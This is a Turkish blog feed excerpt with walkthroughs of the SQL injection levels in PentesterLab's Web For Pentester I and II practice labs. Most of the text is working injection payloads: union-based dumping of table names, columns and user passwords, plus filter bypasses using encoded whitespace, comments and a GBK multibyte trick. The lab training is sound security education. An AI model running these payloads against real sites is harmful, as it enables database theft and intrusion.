Aşağıda ki kısımdan sonrasını uygulayabilirsiniz.

order by 5 %23

Level 5 :

Bu kısımda eğer adres çubuğunun sonuna or 1=1 koyarsak bize hata vericektir.Bizde buradan yola çıkarak bypass yapabiliriz.

Selection_014

Burada hata verdirmesini sağladık.Hadi bypass edelim.
Selection_015

2 union select * from users

Union operatörünün görevi arkaplanda çalışan sorgunun ardından aslında ikinci,üçüncü, …… sorgu çalıştırmamızı sağlıyor.

Detaylı bilgi : http://www.w3schools.com/sql/sql_union.asp

Level 6 :

5.level ile aynı şekildedir.Tek fark burada sorguyu username ile gruplamasıdır.Yani sorgunun sonunda GROUP BY operatörü kullanılmakta.

Arka planda ki kod aşağıda ki gibidir.

SELECT * FROM users GROUP BY username

Selection_016

Level 7 :

Burada eğer

union select * from users

bypassını kullanırsak bize aşağıda ki hatayı verecektir.

Should only return one user…

Selection_017
Gördüğünüz gibi burada bize fazladan bir sütun,satır çekmemizi engelliyor.Ne yazık ki group_concat’de de aynı hatayı vericektir.

Burada yapabiliceğimiz tek şey adresin sonunda ki id kısmını silerek sadece ? işareti kalmasını sağlamak.Bu şekilde tüm bir tabloyu görebiliyoruz.
Ama bize çok fazla bir veri göstermediği bir gerçek.

Selection_18

Level 8 :

Bu bölümde bize bir kullanıcı kayıt sayfası gösteriliyor.Tek tırnak atıp arkaplanda nasıl bir kod çalıştığına bakabiliriz.
select_19_0

SELECT * FROM users WHERE username=''union select 1,2,3'

Burada gördüğünüz gibi koyduğumuz tek tırnakdan sonra işlemimizi yapabiliyoruz ama sondaki tek tırnağı da # ( diyez ) ile geçersiz kılmamız gerekiyor.

selam'union all select 1,2,group_concat(table_name)from information_schema.tables #

selection_19

Level 9 :

Bu kısımda biraz uğraşmamız gerekebiliyor.Çünkü escape_special_character gibi çeşitli fonksiyonlar ile bypass yöntemlerimiz işe yaramıyor.

Hatta baya uğraştım diyebiliriz ve pes edip kaynak kodlarına bakmak zorunda kaldım.

select20

Burada gördüğünüz gibi Character_Set “GBK” olarak belirlenmiş ? Sizinde kafanızın üstünde hayali bir ampül yandı sanırım değil mi ?

Tam da Karakter Setlerinden GBK ve Big5 setleri için uygun olan bir bypass yöntemi mevcut.

select_21

呵' or 1=1 #

TR | Web For Pentester 2 SQLi Enes ERGÜN

]]>
https://canyoupwn.me/web-for-pentester-2-sqli/feed/ 0
TR | WFP I SQLi https://canyoupwn.me/wfp-i-sqli/ https://canyoupwn.me/wfp-i-sqli/#respond Sat, 23 Apr 2016 06:30:37 +0000 https://canyoupwn.me/?p=1838 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

WFP I SQLi Çözümü Web For Pentester Nedir ?  PentesterLab tarafından hazırlanmış, içerisinde çeşitli Web zafiyetleri barındıran, üzerinde egzersiz yapabileceğiniz bir disk uygulamadır. İçerisinde XSS,SQLi,Directory Traversal,File include,Code Injection gibi birçok alıştırma vardır.Bu yazıda SQLi çözümlerine bakacağız. Web For Pentester I : Web For Pentester 1 SQLi nedir ? SQLi den bahsetmek için öncelikle SQL’den bahsetmek gerekir. […]

TR | WFP I SQLi Enes ERGÜN

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

WFP I SQLi Çözümü

Web For Pentester Nedir ? 

PentesterLab tarafından hazırlanmış, içerisinde çeşitli Web zafiyetleri barındıran, üzerinde egzersiz yapabileceğiniz bir disk uygulamadır.
İçerisinde XSS,SQLi,Directory Traversal,File include,Code Injection gibi birçok
alıştırma vardır.Bu yazıda SQLi çözümlerine bakacağız.
Web For Pentester I : Web For Pentester 1

SQLi nedir ?
SQLi den bahsetmek için öncelikle SQL’den bahsetmek gerekir. SQL ( Structed Query Language );
en kısa tabiriyle veritabanında sakladığımız verileri SQL motoruna bağlı olarak belirli sorgular ile yönetebildiğimiz
bir veritabanı yönetim sistemidir.
SQL tamam ama bu sonundaki i harfi de nedir ? İ harfi burada injection kısaltmasıdır. Nedir bu injection ? Örnekle açıklayalım.
Üye giriş formumuz olsun ve bizden kullanıcı adı istesin. Arkaplanda çalışan en güvensiz kod şu şekilde olacaktır.

js"]SELECT * FROM users WHERE kullaniciadi='$kadidegiskeni'

Yukarıdaki kod, aksi belirtilmediği veya kötüye kullanım harici düzgün bir şekilde işlevini yerine getiricektir.
Injection tam bu kullaniciadi = ‘$kadidegiskeni’ kısımdadır. Burada ki değişkenin değerini
‘ ( tek tırnak ) yaptığımızda WHERE kullaniciadi = ‘ ‘ şeklinde yorumlanacaktır. Ve bu da bize sorgunun devamına kendi sorgu cümlemizi yazabilme olanağı sağlar. Neyse kısa keselim en basit anlamıyla SQL Injection bu şekildedir. Temelinde bu vardır.

Şimdi Web For Pentester I üzerindeki egzersizleri çözelim.

Öncelikle SQLi yedirdikten sonraki kısımlar birbirine benzeyeceği için bütün aşamalar ilk kısımda verilmiş. Geri kalan egzersizlerde nasıl bypass edeceğimiz gösterilmiştir.

Level 1
Selection_013

Adress çubuğunda gördüğünüz gibi example1.php?name=root yazıyor.

Admin’den sonra “ tırnak atmayı deneyelim.
Tablomuzda hiçbir şey gözükmüyor. Yani bir etkisini göremedik. Bir de tek tırnak deneyelim.
Admin’ yaptığımızda tablo kayboldu, bu ne demek ? Bir şeylere müdahale edebildik demektir.
Hemen bakalım sqli var mı deneyelim.

or '1'='1

yazalım. Dikkat edin burada 1 den sonra tek tırnağı kapatmıyoruz. Çünkü SQL sorgusunun sonunda bir tırnak var ve onun kapatmasını sağlıyoruz.
Selection_014

Gördüğünüz gibi bütün tabloyu ekrana döktük ama burada işimize yarayacak pek bir bilgi yok. Ama injection var değil mi ? O yüzden gerisini getirelim ve ele geçirelim.
Sırada kaç kolon çekildiğini öğrenmek var onun için order by kullanacağız.

1'order by 5 %23

Bu kodu yazdığımızda tablomuzun yapısında bir bozulma olmuyor fakat 5 sayısını 6 yaptığımızda tablo kayboluyor. Bu da demektir ki sql sorgusuyla birlikte gelen veri 5 sutünlu bir veri. %23 ise # işaretinin encode edilmiş halidir.
Hemen ardından hangi kolonlarımızda zararlı kodları kullanabiliriz ona bakalım.

1'union select 1,2,3,4,5 %23

Selection_015

Gördüğünüz gibi 1,2,3 numaralı kolonlara bazı bilgileri yazarsak bize ekranda gösterecek.
Not:Ekranda ki bilgilerin 1,2,3 numaralı kolonlardan alındığını buradan anlayabiliriz.
Selection_016

union select database(),user(),3,4,5 %23

Burada 1 ve 2 numaralı kolonlara bize database ismini ve bunun kullanıcısını göster dedik.

Sırada tablo ismini/isimlerini öğrenmek var.

'union select group_concat(table_name),2,3,4,5+from+information_schema.tables+where+table_schema=database()%23

Burada group_concat kullanmamın amacı , evet burada başka bir tablo yok ama bu gerçek hayatta olamayacağı anlamına gelmez eğer yüzlerce tablo var ise union select etkisiz kalacaktır.

Selection_017

Kolonlarımızı çekelim şimdi de.

'union select group_concat(column_name),2,3,4,5+from+information_schema.columns+where+table_schema=database()%23

Selection_018

Gördüğünüz gibi 5 adet kolon bulunuyor. Bunlar : id,name,age,groupid,passwd

Şimdi son işlemimiz olan şifreleri çekelim.

Selection_019

union select group_concat(name),group_concat(passwd),3,4,5+from+users%23

Burada sırasıyla kullanıcıların şifrelerini sağ tarafta görmekteyiz.

Şimdi diğer levellere geçelim.

Level 2

Bu kısımda dikkat etmemiz gereken sonuna %23 koyarsak eğer ERROR NO SPACE hatası veriyor.Yani sorgumuz aslında devam ediyor ve araya girdiğimizde hata veriyor.

-1'%09or%09'1'='1 ]

Selection_020
%09 boşluk karakterinin encode edilmiş halidir.

Level 3

Selection_021

-1'/**/or/**/'1'='1

Burada developer bir önceki levelde kullandığımız %09 gibi karakterleri engellemiş.O zaman ne yapıyoruz ? İmdadımıza php yorum satırı karakterleri yetişiyor.

Level 4

Selection_022

-1 or 1=1

Burada developer arkadaşımız bir fonksiyon ile kaçış karakterlerini kullanmış.Örneğin pythonda ki “ \ “ karakteri gibi.Yazılacak ‘ veya “ gibi karakterleri kaçış karakterine yakalandığı için işlevsizleşiyor.
Biz de direk deneriz 🙂

Level 5

Selection_023

2%09or%091=1

Burada developer arkadaşımız kaçış karakterlerini kullanıyor zaten üstüne üstlük boşluk karakterlerini de engellemiş bizde daha önceden bildiğimiz %09’u kullanıyoruz.

Level 6
Selection_024

2%09or%091=1

Level 5 ile aynı şekilde geçilebiliyor.

Level 7
Selection_025
Burada şimdiye kadar kullandığımız payloadlar işe yaramıyor. Bizden bir integer istiyor. Ve biz de bunu

2%0A or 1=1

 

Burada %0A line feed encode hali yani aslında koda multiline özelliğini kazandırdık. Normalde SQL kodumuz tek satırlıktı fakat biz bunu 2 satır haline getirdik.

Level 8

Selection_026

Burada order by ile sıralama yapıldığını görüyoruz.Burada herhangi bir sql injection bulabilsek bile sadece sql injectionun varlığını kanıtlayabiliriz herhangi bir veri elde edemeyiz.

Level 9

Level 8 ile aynıdır.

Son 2 bölüm bize her SQL İnjectiondan veri elde edemeyeceğini öğretiyor 🙂

TR | WFP I SQLi Enes ERGÜN

]]>
https://canyoupwn.me/wfp-i-sqli/feed/ 0